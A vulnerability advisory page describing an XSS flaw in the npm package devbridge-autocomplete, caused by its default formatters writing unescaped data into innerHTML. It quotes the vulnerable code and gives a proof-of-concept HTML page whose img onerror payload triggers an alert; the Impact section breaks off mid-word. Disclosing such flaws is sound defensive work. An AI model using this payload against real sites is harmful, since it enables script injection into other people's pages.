mediumCVSS 5.4Vulnerability

GHSA-hvqh-jw65-wcpq

### Summary The default `formatGroup` and `formatResult` functions in `devbridge-autocomplete` concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source. ### Details **1. `formatGroup` — `category` is interpolated raw.** `src/format.ts`: ```ts function formatGroup(suggestion, category) { return '<div class="autocomplete-group">' + category + '</div>'; } ``` If `groupBy` is used and the grouping field of any suggestion contains HTML, that HTML is executed. **2. `formatResult` — early-return branch returns `suggestion.value` raw.** `src/format.ts`: ```ts function formatResult(suggestion, currentValue) { if (!currentValue) { return suggestion.value; // un-escaped } /* ... non-empty path escapes correctly ... */ } ``` The early-return branch is reached when `suggest()` renders with an empty `currentValue`, which happens with `minChars: 0` and a server that returns suggestions for an empty query. The returned string is concatenated into the container's `innerHTML`. ### PoC (formatGroup) ```html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>PoC: formatGroup XSS in jQuery-Autocomplete v2.0.0</title> </head> <body> <input id="ac" type="text" placeholder="Type 'a' to trigger" autocomplete="off"> <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script> <script src="dist/jquery.autocomplete.js"></script> <script> var poisoned = [ { value: 'Apple', data: { category: "<img src=x onerror=\"alert('XSS via formatGroup')\">" } }, { value: 'Avocado', data: { category: 'Safe Group' } } ]; $('#ac').devbridgeAutocomplete({ lookup: poisoned, groupBy: 'category', minChars: 1 }); </script> </body> </html> ``` Originally identified by an earlier human analysis; the PoC above was produced with the assistance of Claude Opus 4.7. ### Impac

Properties

ghsa_id
GHSA-hvqh-jw65-wcpq
severity
medium
summary
devbridge-autocomplete has XSS in its default formatters: formatGroup and formatResult fail to escape HTML in untrusted inputs
cvss_score
5.4
cve_id
GHSA-hvqh-jw65-wcpq
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
is_ghsa_only
true
ghsa_published
2026-06-22T23:00:50Z
source_url
https://github.com/advisories/GHSA-hvqh-jw65-wcpq
ghsa_updated
2026-06-22T23:00:51Z

Related Entities (4)

VULNERABLE_TO (1)

[Software]npm/devbridge-autocomplete

AFFECTS (1)

[Software]npm/devbridge-autocomplete

HAS_WEAKNESS (1)

[Weakness]Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

REPORTED_BY (1)

[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph

GHSA-hvqh-jw65-wcpq (CVSS 5.4) — Ninja Signal Threat Intelligence | Ninja Signal